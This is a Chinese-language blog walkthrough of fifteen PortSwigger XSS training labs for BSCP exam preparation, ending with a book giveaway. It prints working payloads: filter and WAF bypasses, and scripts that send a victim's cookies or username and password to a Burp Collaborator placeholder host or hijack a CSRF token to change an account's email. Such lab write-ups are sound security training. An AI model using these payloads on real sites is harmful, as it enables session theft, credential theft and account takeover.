【BSCP系列第2期】XSS攻击的深度剖析和利用(文末送书)

news2024/11/13 12:08:23

文章目录

  • 前言
  • 一、官方地址
  • 二、开始(15个)
    • 1:Lab: DOM XSS in document.write sink using source location.search inside a select element
    • 2:Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
    • 3:Lab: Reflected DOM XSS
    • 4:Lab: Stored DOM XSS
    • 5:Lab: Reflected XSS into HTML context with most tags and attributes blocked
    • 6:Lab: Reflected XSS into HTML context with all tags blocked except custom ones
    • 7:Lab: Reflected XSS with some SVG markup allowed
    • 8:Lab: Reflected XSS in canonical link tag
    • 9:Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
    • 10:Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
    • 11:Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
    • 12:Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
    • 13:Lab: Exploiting cross-site scripting to steal cookies
    • 14:Lab: Exploiting cross-site scripting to capture passwords
    • 15:Lab: Exploiting XSS to perform CSRF
  • 三、本期送书《Frida Android so逆向深入实践》
      • 如何领书
  • 总结


前言

【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)

上一期的SQL注入已经全部过完了,感兴趣的可以看看本专栏的所有文章。
在这里插入图片描述

今天开始过一遍portswigger的xss,由于Apprentice级别的靶场都属于基础部分,无脑插语句就行,与BSCP认证无关,所以本篇以及后续的一系列章节都会重点讲解Practitioner级别的靶场,Practitioner也是BSCP的“高仿”考试题库。


提示:以下是本篇文章正文内容,下面案例可供参考

一、官方地址

https://portswigger.net/web-security/all-labs

在这里插入图片描述

二、开始(15个)

前面的APPRENTICE的就自己过一遍,因为BSCP认证考试里不会出那些题。

1:Lab: DOM XSS in document.write sink using source location.search inside a select element

在这里插入图片描述

做靶场不要直接看Solution。直接Access the lab,启动靶场。没有搜索框,随便点一个功能。

在这里插入图片描述

其实摸透了Burpsuite的靶场之后,做xss的题是有规律的。那就是直接f12看前端代码的<script>标签,xss漏洞绝大部分都会出现在这里。

在这里插入图片描述

像上图一样,这种一大段很明显的script内容的,就是xss的漏洞代码。只需要我们稍微分析一下。

<script>
	var stores = ["London","Paris","Milan"];
	var store = (new URLSearchParams(window.location.search)).get('storeId');
	document.write('<select name="storeId">');
	if(store) {
		document.write('<option selected>'+store+'</option>');
			}
	for(var i=0;i<stores.length;i++) {
		if(stores[i] === store) {
			continue;
			}                
		document.write('<option>'+stores[i]+'</option>');
  }
		document.write('</select>');
</script>                       

这段代码的作用是创建一个下拉选择菜单,菜单中包含stores数组中的所有城市名称,并且如果URL中包含storeId参数,那么对应的城市名称将被预选。如果没有storeId参数,下拉菜单将不预选任何选项。

刚开始你可能看不懂html里的代码,可以利用Console控制台来操作一下,比如代码里的window.location.search,指的是什么东西?
在这里插入图片描述

结果已经显示出来了,指?以及后面的内容。而这段script脚本代码里面,是让我们输入一个storeId。

https://0a88007103f66b2d80a25d9d003800ad.web-security-academy.net/product?productId=1&storeId=123

在这里插入图片描述

我们输入的字符被包含在上面。后面直接输入xss语句验证一下:
在这里插入图片描述

在这里插入图片描述

一般第一题都会比较简单,没什么难度。

2:Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

从标题来看,意思是AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码。

在这里插入图片描述

AngularJS 是一个流行的 JavaScript 库,它扫描包含 ng-app 属性(也称为 AngularJS 指令)的 HTML 节点的内容。当指令添加到 HTML 代码中,就可以在双花括号{{ }}内执行 JavaScript 表达式。当对尖括号进行编码时,这个技术非常有用。

启动靶场之后,熟悉的搜索框:

在这里插入图片描述

在这里插入图片描述

ng-app属性会被angular识别。我们输入的xss语句,<>括号被html编码。
在这里插入图片描述

把语句修改成AngularJS表达式:
在这里插入图片描述

默认情况下,作用域对象包含另一个名为“构造器”constructor的对象,该对象包含一个也被称为“构造器”的函数。此函数可用于动态生成和执行代码。而这正是我们执行XSS的payload所需要的,如下图所示:

{{constructor.constructor('alert(1)')()}}

{{$on.constructor('alert(1)')()}}

在这里插入图片描述

在这里插入图片描述

3:Lab: Reflected DOM XSS

在这里插入图片描述

启动靶场,输入框随便输入点内容,在页面中回显,查看源代码也没看到一大坨的script
在这里插入图片描述

查看请求包和响应包,发现是这种json格式的:

在这里插入图片描述

遇到这种插入到json中的,用通杀的"-alert(1)-"就可以了。
在这里插入图片描述

这里有个问题,双引号被转义了。但是反斜杠没有被转义,所以只需要稍微变形:

\"-alert(2)}//

由于已经注入反斜杠,但是网站没有对其进行转义,当 JSON 响应尝试转义开头的双引号字符时,它会添加第二个反斜杠。产生的双反斜杠会导致转义被有效取消。这意味着双引号未进行转义处理,导致关闭了应包含搜索词的字符串。

然后在调用 alert() 函数之前使用算术运算符(在本例中为减法运算符)分隔表达式。最后,用右花括号和两个正斜杠提前关闭 JSON 对象并注释掉对象的其余部分。

在这里插入图片描述

4:Lab: Stored DOM XSS

存储型的,先看下源代码。
靶场都有规律的,直接找script标签的内容,看看里面的js代码。
在这里插入图片描述

在这里插入图片描述

为了防止 XSS,网站用 JavaScript replace() 函数对尖括号进行编码。我们只需在开头添加一组额外的尖括号即可利用此漏洞。这些尖括号会被编码,但任何后续尖括号都不会受到影响,这就让我们能够有效地绕过过滤器并注入 。

在这里插入图片描述

构造一个弹窗:

<><img src=1 onerror=alert(1)>

在这里插入图片描述

5:Lab: Reflected XSS into HTML context with most tags and attributes blocked

在这里插入图片描述

翻译:此实验包含搜索功能中的反射型 XSS 漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 向量。要解决此实验,请执行绕过 WAF 并调用 print() 函数的跨站点脚本攻击。

其实就是多了个waf,启动靶场:

<img src=1 onerror=alert(1)>

tag被禁用了。
在这里插入图片描述

<script> <img> <svg> 等等都被禁掉。

我们可以查询官方给出的“Tips”,xss百科全书,非常nb。
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#consuming-tags

在这里插入图片描述

最终确定body标签没有被禁。

在这里插入图片描述

但是属性onload被禁掉了。

在这里插入图片描述

挨个去试,发现onresize没有被禁。
在这里插入图片描述

<body onresize="alert(3)">

这段代码会在浏览器窗口大小调整时执行 alert(3) 函数,弹出一个包含数字 3 的警告框。我们放大或者缩小屏幕,就触发了。

在这里插入图片描述

根据靶场要求,需要我们让被攻击者执行print()函数。

<body onresize="print()">

点击页面中的Exploit Server,修改body部分:

这里我给出一个模版,以后考试或者靶场练习中出现xss要发送给受害者的,可以用下面这段代码,

<script>document.location='https://{YOUR-WEB-ID}.web-security-academy.net/?'REPLACE-THIS-WITH-YOUR-ENCODED-PAYLOAD\'))}'</script>

将url换成实际的就行了。

<script>document.location='https://0ac800540413b7c580656c3e000c0029.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E'</script>

在这里插入图片描述

发送给受害者。Deliver exploit to victim。

在这里插入图片描述

6:Lab: Reflected XSS into HTML context with all tags blocked except custom ones

在这里插入图片描述

靶场说明中指明:该实验室阻止除自定义标签之外的所有 HTML 标签。所以这一题是要我们用自定义标签。

在这里插入图片描述

回到这里,跟上图一样,选择自定义的标签。
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#consuming-tags

任意选择一个:

<xss onfocus=alert(1) autofocus tabindex=1>

在这里插入图片描述

修改成这个就能获取cookie:

<xss onfocus=alert(document['cookie']) autofocus tabindex=1>

编辑一个exploit server的body:
在这里插入图片描述

在这里插入图片描述

7:Lab: Reflected XSS with some SVG markup allowed

此实验有一个简单的反射型 XSS 漏洞。该网站阻止了常见标签,但遗漏了一些 SVG 标签和事件。
要解决此实验,请执行调用 alert() 函数的跨站点脚本攻击。
在这里插入图片描述

常规的<script>等标签会被禁,如下:

在这里插入图片描述

可以用Burp来一次遍历:
在这里插入图片描述

打开cheat文档,复制所有的tag:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#consuming-tags

在这里插入图片描述

Load进来:

在这里插入图片描述

这样就能快速找到没有被过滤的标签了:

在这里插入图片描述

用同样的办法遍历title标签的event,发现都是400,说明title标签的话条件不满足:
在这里插入图片描述

最终用<animatetransform>成功通过:

<svg><animatetransform onbegin=alert(1) attributeName=transform>

在这里插入图片描述

在这里插入图片描述

8:Lab: Reflected XSS in canonical link tag

启动靶场之后,查看源代码:

<link rel="canonical" >

在这里插入图片描述

<link rel="canonical"> 是HTML文档中的一个标签,它用于指定网页的“规范”或“首选”URL。这个标签对于搜索引擎优化(SEO)非常重要,因为它帮助搜索引擎理解哪个页面是原始内容的来源,从而避免内容重复的问题。

当一个网页有多个URL可以访问时,例如通过不同的路径或参数,搜索引擎可能会将这些URL视为不同的页面,导致内容重复。通过使用<link rel="canonical" href="URL">标签,你可以告诉搜索引擎,指定的URL是页面的首选版本,搜索引擎应该优先索引这个URL,并可能将其他URL的权重转移到这个URL上。

例如,如果你有一个产品页面,既可以通过/products/product-name访问,也可以通过/products.php?product_id=123访问,你可以在HTML头部添加以下代码来指定规范URL:

<link rel="canonical" href="https://www.example.com/products/product-name">

这会告诉搜索引擎,当索引这个页面时,应该优先考虑/products/product-name这个URL。

在这里插入图片描述

 accesskey="x" onclick="alert(1)"

在这里插入图片描述

accesskey='x':accesskey属性在HTML中用于指定快捷键,允许用户通过按下键盘上的某个键快速激活或跳转到页面上的元素。

在这里插入图片描述

在这里插入图片描述

因为我是mac电脑,所以我按下control+option+x键,就触发了后面的告警。

Mac电脑上虽然没有名为"Alt"的键,但是有一个"Option"键,它在很多情况下可以作为"Alt"键使用。

9:Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

实验描述:反射发生在单引号和反斜杠转义的 JavaScript 字符串内。要解决此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用警报函数。

启动靶场,输入一个最常规的语句来测试一下,发现有字符串回显:

在这里插入图片描述

查看前端源码,发现只需要把前面的script闭合掉就可以了:

</script><img%20src=1%20onerror=alert(1)>
</script><script>alert(1)</script>

在这里插入图片描述

10:Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

描述:此实验室包含搜索查询跟踪功能中的反射式跨站点脚本漏洞,其中尖括号和双引号经过 HTML 编码,而单引号经过转义。要解决此实验室问题,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用警报函数。

在这里插入图片描述

反斜杠没有被转义,用\'test,闭合了searchTerms的值,test内容被释放。
在这里插入图片描述

\'-alert(1)//

在这里插入图片描述

在这里插入图片描述

//再注释掉后面的单引号和内容,成功执行了alert。

11:Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

描述:此实验包含评论功能中的存储型跨站点脚本漏洞。要解决此实验,请提交一条评论,该评论在点击评论作者姓名时调用警报函数。
在这里插入图片描述

website的内容被添加到了href属性里。

在这里插入图片描述

反斜杠和单引号都被转义。

在这里插入图片描述

尝试使用HTML实体编码的方式绕过过滤:

http://sdfsdfadsfsd?&apos;-alert(1)-&apos;

在这里插入图片描述

&apos;:这是单引号 ’ 的HTML实体编码。在URL中,单引号通常用于分隔参数值。
-alert(1)-:这是JavaScript代码,调用了alert函数,显示一个包含数字1的警告框。
&apos;:这是另一个单引号的HTML实体编码,结束了查询字符串的参数。

12:Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

描述:此实验包含搜索博客功能中的反射式跨站点脚本漏洞。反射发生在模板字符串内,该字符串包含尖括号、单引号和双引号 HTML 编码,反引号转义。要解决此实验,请执行跨站点脚本攻击,该攻击会调用模板字符串内的警报函数。
在这里插入图片描述

${alert(1)}

在这里插入图片描述

13:Lab: Exploiting cross-site scripting to steal cookies

描述:此实验包含博客评论功能中的存储型 XSS 漏洞。模拟受害者用户会在评论发布后查看所有评论。要解决此实验,请利用此漏洞窃取受害者的会话 cookie,然后使用此 cookie 冒充受害者。

这个实验需要用到Burp的一个强大的功能,相当于自当的dnslog——Collaborator。

在这里插入图片描述

没有任何的过滤,但是通关需要获取用户的cookie,所以我们需要改造一下语句:

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

这段JavaScript代码是一个使用fetch API发起网络请求的示例。下面是代码的逐行解释:

fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {...}): 这是fetch函数的调用,它用于发起一个网络请求。'https://BURP-COLLABORATOR-SUBDOMAIN'是请求的目标URL,
method: 'POST': 这指定了请求的类型是POST,意味着数据将被发送到服务器。
mode: 'no-cors': 这个选项指定了请求的CORS(跨源资源共享)模式。'no-cors’模式用于发起一个“简单”的跨源请求。
body: document.cookie:这里指定了请求的正文是当前的cookie。document.cookie是一个JavaScript属性,它返回当前网页的所有cookie。

在这里插入图片描述

这时候访问这个页面,就会获取到当前浏览用户的token信息。

在这里插入图片描述

但是这个session是我们自己的,说明没有受害者查看这个评论的页面,所以我们换一个主题去评论:
在这里插入图片描述

提交之后,成功显示了不一样的session:
在这里插入图片描述

访问/My account,替换token:
在这里插入图片描述

在这里插入图片描述

14:Lab: Exploiting cross-site scripting to capture passwords

描述:此实验包含博客评论功能中的存储型 XSS 漏洞。模拟受害者用户查看发布的所有评论。要解决此实验,请利用此漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。

与上一个靶场类似,只需要替换语句:
在这里插入图片描述

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

这段HTML代码定义了两个输入字段,并且包含了JavaScript代码,用于在用户输入密码时触发一个网络请求。下面是详细的解释:

  1. 第一个<input>元素:

    <input name="username" id="username">
    

    这是一个文本输入字段,允许用户输入用户名。name属性用于表单提交时标识数据字段,id属性提供了一个唯一的标识符,可以用于CSS样式或JavaScript操作。

  2. 第二个<input>元素:

    <input type="password" name="password" onchange="...">
    

    这是一个密码输入字段,用户输入的内容会被隐藏显示。type="password"指定了输入字段的类型为密码。name="password"同样用于表单提交。onchange属性是一个事件处理器,当输入字段的内容改变时,会触发里面的JavaScript代码。

  3. onchange事件处理器内的JavaScript代码:

    if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
        method:'POST',
        mode: 'no-cors',
        body:username.value+':'+this.value
    });
    

    这段代码在用户改变密码输入字段的内容时执行。首先,它检查密码字段是否有内容(this.value.length)。如果有,它使用fetch函数发起一个POST请求到'https://BURP-COLLABORATOR-SUBDOMAIN'

    • method: 'POST':指定请求方法为POST。
    • mode: 'no-cors':指定CORS模式为'no-cors',这意味着即使请求是跨域的,浏览器也不会将响应数据返回给请求者。
    • body:请求的正文,这里拼接了用户名和密码字段的值,格式为username:password

在这里插入图片描述

在这里插入图片描述

15:Lab: Exploiting XSS to perform CSRF

利用 XSS 执行 CSRF。
描述:此实验包含博客评论功能中的存储型 XSS 漏洞。要解决此实验,请利用此漏洞执行 CSRF 攻击并更改查看博客文章评论的人的电子邮件地址。您可以使用以下凭据登录自己的帐户:wiener:peter

登录后,发现用户功能存在一个重置邮箱。
在这里插入图片描述

尝试使用者功能,发现会向 /my-account/change-email 发出 POST 请求,存在 email 参数,后面跟着的就是csrf的token。

在这里插入图片描述

这个csrf token会出现在用户账户的返回包中:
在这里插入图片描述

所以漏洞利用的思路是需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

这段xss利用代码演示了如何使用XMLHttpRequest对象来发送HTTP请求,并处理响应。我们来逐步分析下:

  1. 创建XMLHttpRequest对象

    var req = new XMLHttpRequest();
    

    这行代码创建了一个XMLHttpRequest对象,这是一个浏览器提供的API,用于在客户端和服务器之间进行异步通信。

  2. 定义响应处理函数

    req.onload = handleResponse;
    

    这里设置了一个事件处理器,当XMLHttpRequest请求完成时(无论是成功还是失败),将调用handleResponse函数。

  3. 初始化GET请求

    req.open('get', '/my-account', true);
    

    open方法初始化一个请求。这里的参数分别是请求方法(‘get’),请求的URL(‘/my-account’),以及一个布尔值表示请求是否异步执行。

  4. 发送请求

    req.send();
    

    这行代码实际发送了请求。

  5. 处理响应的函数

    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', '/my-account/change-email', true);
        changeReq.send('csrf='+token+'&email=test@qq.com');
    }
    
    • 首先,使用正则表达式从响应文本this.responseText中提取CSRF(跨站请求伪造)令牌。CSRF令牌是一种安全机制,用于验证请求是由用户发起的,而不是由第三方网站发起的。
    • 然后创建了一个新的XMLHttpRequest对象changeReq,用于发送POST请求到'/my-account/change-email'
    • 最后,发送一个POST请求,请求体包含提取的CSRF令牌和新的电子邮件地址'test@qq.com'

在这里插入图片描述

在这里插入图片描述

这个时候我们返回主页Home,发现我们的用户已经把email换成了test@qq.com了,从抓包数据来看,自动触发了更改邮箱的POST请求。

在这里插入图片描述

三、本期送书《Frida Android so逆向深入实践》

在这里插入图片描述

如果对安卓逆向感兴趣的朋友,这本书很不错!推荐大家阅读。

《Frida Android SO逆向深入实践》主要介绍使用Frida辅助分析SO进行逆向工程项目开发。按照由易到难、由浅入深的方式进行讲解,适合Native层的初、中级读者阅读。

本书作者

陈佳林,看雪论坛版主,看雪讲师,在移动安全领域经验丰富,多次主持银行、电信、政府及行业部门培训并参与安全研究项目。在看雪安全开发者峰会、GeekPwn发表主题演讲。在看雪、安全客、Freebuf发表大量技术文章,目前就职于看雪科技,负责移动应用安全研究,看雪《安卓高级研修班》负责人,著有《安卓Frida逆向与抓包实战》、《安卓Frida逆向与协议分析》

如何领书

————————————————
⚠️:两种送书方式可以重复叠加获奖🏆

方式一 博客送书
本篇文章送书 🔥1本 评论区抽1位小伙伴送书
📆 活动时间:截止到 2024-06-26 00:00:00
🎁 抽奖方式:利用网络公开的在线抽奖工具进行抽奖
💡 参与方式:点赞+任意字数评论就行😂,只要评论+点赞就能参与。

方式二 公众号送书(EureKa安全团队)
关注公众号,参与抽奖,中奖即可送书 🔥1本
📆 活动时间:时间一到,自动开奖!!2024-06-26 00:00:00 截止
🎁 抽奖方式:利用抽奖小程序进行抽奖
💡 参与方式:关注公众号即可。

中奖后我会私信你要邮寄地址,到时候记得回我一下,不然寄不出去的!

没有中奖的衣服父母👏也可以通过以下京东链接🔗进行购买:
京东购买链接https://item.jd.com/13893797.html

中奖粉丝时间
待开奖2024年6月26日
待开奖2024年6月26日

总结

xss其实不止于弹个窗那个简单,弹窗只是为了“可视化”,通过整个xss系列的学习,给我的感觉就是xss就类似于一个鱼钩🪝,条件允许的话,这个鱼钩可以获取到鱼的敏感信息。

欢迎大家关注EureKaSec,无论是技术交流还是有兴趣加入我们团队,都欢迎随时联络沟通。
在这里插入图片描述

    文章原创,欢迎转载,请注明文章出处: 【BSCP系列第2期】XSS攻击的深度剖析和利用(文末送书).。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1858372.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

猫头虎分享已解决Bug:Array Index Out of Bounds Exception

&#x1f42f; 猫头虎分享已解决Bug&#xff1a;Array Index Out of Bounds Exception &#x1f42f; 摘要 大家好&#xff0c;我是猫头虎&#xff0c;今天我们要聊聊后端开发中经常遇到的一个问题&#xff1a;Array Index Out of Bounds Exception&#xff0c;即 java.lang.…

哪里找好用的商城系统源码?

很多企业在挑选商城系统时&#xff0c;由于不懂源码&#xff0c;很难选择到高质量源码的商城系统&#xff0c;那么哪里找好用的商城系统源码?如何选择?接下来就跟着启山智软小编一起来看看吧&#xff0c;以下为选择源码时的四看&#xff1a; 1.一看源码公司行业动态 可以查…

【linux】详解——库

目录 概述 库 库函数 静态库 动态库 制作动静态库 使用动静态库 如何让系统默认找到第三方库 lib和lib64的区别 /和/usr/和/usr/local下lib和lib64的区别 环境变量 配置相关文件 个人主页&#xff1a;东洛的克莱斯韦克-CSDN博客 简介&#xff1a;C站最萌博主 相关…

[FreeRTOS 内部实现] 信号量

文章目录 基础知识创建信号量获取信号量释放信号量信号量 内部实现框图 基础知识 [FreeRTOS 基础知识] 信号量 概念 创建信号量 #define queueQUEUE_TYPE_BINARY_SEMAPHORE ( ( uint8_t ) 3U ) #define semSEMAPHORE_QUEUE_ITEM_LENGTH ( ( uint8_t ) 0U ) #define xSe…

C++精解【6】

文章目录 eigenMatrix基础例编译时固定尺寸运行指定大小 OpenCV概述 eigen Matrix 基础 所有矩阵和向量都是Matrix模板类的对象。向量也是矩阵&#xff0c;单行或单列。Matrix模板类6个参数&#xff0c;常用就3个参数&#xff0c;其它3个参数有默认值。 Matrix<typename…

LGY-110G零序电压继电器 导轨安装 约瑟JOSEF

110系列零序电压电流继电器 系列型号: LGY-110零序过电压继电器&#xff1b;LGY-110/AC零序过电压继电器&#xff1b; LGL-110零序过电流继电器&#xff1b;LGL-110/AC零序过电流继电器&#xff1b; 1 应用 DY-110 型低电压继电器用于判别线路和电力设备的电压降低&#xf…

达梦数据守护集群部署

接上篇 达梦8单机规范化部署 https://blog.csdn.net/qq_25045631/article/details/139898690 1. 集群规划 在正式生产环境中&#xff0c;两台机器建议使用统一配置的服务器。使用千兆或千兆以上网络。 两台虚拟机各加一块网卡&#xff0c;仅主机模式&#xff0c;作为心跳网卡…

伸展树(数据结构篇)

数据结构之伸展树 伸展树 概念&#xff1a; 伸展树是一颗对任意一个节点被访问后&#xff0c;就经过一系列的AVL树的旋转操作将该节点放到根上的特殊二叉查找树。伸展树能保证对树操作M次的时间复杂度为O(MlogN)&#xff0c;而当一个查找树的一个节点刚好处于查找树最坏的情…

Vite: 关于预构建的毫秒级响应

概述 在我们的项目代码中&#xff0c;我们所说的模块代码其实分为两部分 一部分是源代码&#xff0c;也就是业务代码另一部分是第三方依赖的代码&#xff0c;即 node_modules 中的代码 Vite 是一个提倡 no-bundle 的构建工具&#xff0c;相比于传统的 Webpack能做到开发时的模…

主机游戏也可以上云桌面玩了?

最近steam夏季促销活动也快到了&#xff0c;对于很多钟情于主机游戏的小伙伴们&#xff0c;是不是也在摩拳擦掌了&#xff1f; 但有时候现实想愉快地玩到自己想玩的游戏实在是太难了&#xff01; 当你一直关注的新游戏终于上线Steam时&#xff0c;你的钱包是这样的… 而游戏的…

elementUI相关知识及搭建使用过程

​​​​​​ 目录 ​​​​​​ 一.elementUI相关的知识 1.什么是elementUI 2.如何在创建的项目中使用elementUI的组件(1)安装 ​ (2)在项目的main.js中引入elementUI (3)使用elementui里的组件 一.elementUI相关的知识 1.什么是elementUI Element&#xff0c;一套为开…

【管理咨询宝藏136】RB大型卡车集团供应链体系优化设计方案

本报告首发于公号“管理咨询宝藏”&#xff0c;如需阅读完整版报告内容&#xff0c;请查阅公号“管理咨询宝藏”。 【管理咨询宝藏136】RB大型卡车集团供应链体系优化设计方案 【格式】PDF版本 【关键词】罗兰贝格、供应链管理、运营提升 【核心观点】 - 针对前两个模块&…

Charles配置与API数据抓取

2024软件测试面试刷题&#xff0c;这个小程序&#xff08;永久刷题&#xff09;&#xff0c;靠它快速找到工作了&#xff01;&#xff08;刷题APP的天花板&#xff09;-CSDN博客跳槽涨薪的朋友们有福了&#xff0c;今天给大家推荐一个软件测试面试的刷题小程序。https://blog.c…

基于STM32的智能健康监测手表

目录 引言环境准备智能健康监测手表系统基础代码实现&#xff1a;实现智能健康监测手表系统 4.1 数据采集模块4.2 数据处理与分析4.3 通信模块实现4.4 用户界面与数据可视化应用场景&#xff1a;健康监测与管理问题解决方案与优化收尾与总结 1. 引言 智能健康监测手表通过使…

美团SaaS技术部测开,复捞我开摆

美团SaaS技术部测开&#xff0c;复捞我开摆 4.3 80min 项目实习你主要承担的部分你做的项目技术实现是什么样的&#xff0c;前后端是怎么做出来的自动登录功能的架构软件测试全流程你有了解吗搭建测试环境是否可有可无哪些举措是你牵头做的发现了什么问题在代码核验阶段你如何…

C++STL梳理

CSTL标准手册&#xff1a; https://cplusplus.com/reference/stl/ https://cplusplus.com/reference/vector/vector/at/ 1、STL基础 1.1、STL基本组成(6大组件13个头文件) 通常认为&#xff0c;STL 是由容器、算法、迭代器、函数对象、适配器、内存分配器这 6 部分构成&…

【消息队列】Kafka学习笔记

概述 定义 传统定义: 一个分布式的, 基于发布订阅模式的消息队列, 主要应用于大数据实时处理领域新定义: 开源的分布式事件流平台, 被用于数据管道/流分析/数据集成 消息队列的使用场景 传统消息队列的主要应用场景包括: 削峰: 解耦: 异步: 两种模式 点对点模式 发布/订…

Java基础:IO流

目录 一、定义 1.引言 2.分类 &#xff08;1&#xff09;按照流的方向分 &#xff08;2&#xff09;按操作文件的类型分 3.体系结构 二、字节流&#xff08;以操作本地文件为例&#xff09; 1. FileOutputStream 类 &#xff08;1&#xff09;定义 &#xff08;2&am…

【Linux】Linux编译器(gcc,g++)与动静态链接库

对于一个 C 程序&#xff0c;从源文件到形成可执行程序一共要进行四步&#xff1a;预处理、编译、汇编、链接 。 接下来&#xff0c;我们用 gcc 分别演示这四个过程。 一、预处理(进行宏替换) 预处理中&#xff0c;需要完成头文件的展开、宏替换、去注释、条件编译等工作。 …

说一说三大运营商的流量类型,看完就知道该怎么选运营商了!

说一说三大运营商的流量类型&#xff0c;看完就知道该怎么选运营商了&#xff1f;目前三大运营商的流量类型大致分为通用流量和定向流量&#xff0c;比如&#xff1a; 中国电信&#xff1a;通用流量定向流量 电信推出的套餐通常由通用流量定向流量所组成&#xff0c;通用流量…